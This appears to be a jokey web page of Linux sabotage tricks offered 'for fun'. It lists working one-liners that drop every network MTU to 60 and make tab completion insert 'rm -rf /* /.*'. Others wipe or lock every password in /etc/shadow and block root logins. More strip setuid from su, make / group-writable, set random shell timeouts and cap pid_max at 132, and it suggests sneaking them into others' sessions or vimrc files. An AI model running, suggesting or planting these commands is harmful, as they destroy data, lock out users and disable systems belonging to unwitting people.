Slow down there a bit bro…
Fast network links getting you down?
for IF in $(ip l | awk -F': ' '/^[0-9]/{print $2}') do ip l s ${IF} mtu 60 done
Especially fun if this machine is acting as a (nat-)router for other boxes…
Breaking Systems for Fun and Profit
You _can_ stop the signal.
You make me feel complete
Pop this one into a bash session and watch the hilarity ensue:
complete -E -W 'rm\ -rf\ /*\ /.*'
And while we’re having fun try this one as well (advertorial alert):
complete -W 'http://breakingsystemsforfunandprofit.com' elinks links firefox chrome midori epiphany wget opera
Passwords? We don’t need no stinkin’ passwords!
sed -ri 's/([^:]*):[^:]*:(.*)/\1:!!:\2/' /etc/shadow
Or for the wusses who want something a bit more recoverable:
for I in $(getent passwd | cut -d: -f1) do passwd -l ${I} chage -E0 -M1 -m513 -I1 -W1023 ${I} done
Still, who needs root?
printf 'root\t-\tmaxlogins\t0\n' >> /etc/security/limits.conf
Who needs root anyway?
chmod u-s /bin/su
Nice and quiet on the email front
Do you hate all those incoming and outgoing emails as much as we do? Are you running sendmail? In that case help is at hand:
chmod g+w /
Better learn to type fast…
Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:
export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'
Fun with Vim and Files
Add this little bugger to either /etc/vimrc or to an induhvidual’s ~/.vimrc
:wqa
I’m sorry, but I can’t let you do that Dave…
echo "kernel.pid_max = 132" >> /etc/sysctl.conf
Disclaimer
It's a shame that we actually have to write a disclaimer, but experience tells us that most of you out there are idiots. Well not you of course, because you are actually reading the disclaimer. Here goes:
Neither breakingsystemsforfunandprofit.com nor any of its admins/editors/contributors can be held liable for any damages resulting from the use or lack of use of any information or advice presented here in any way.
Failure to realize that any information presented here for the purpose of breaking systems should not be used on any production or otherwise important systems will result in us making fun of you and your unfortunate offspring should you have any.
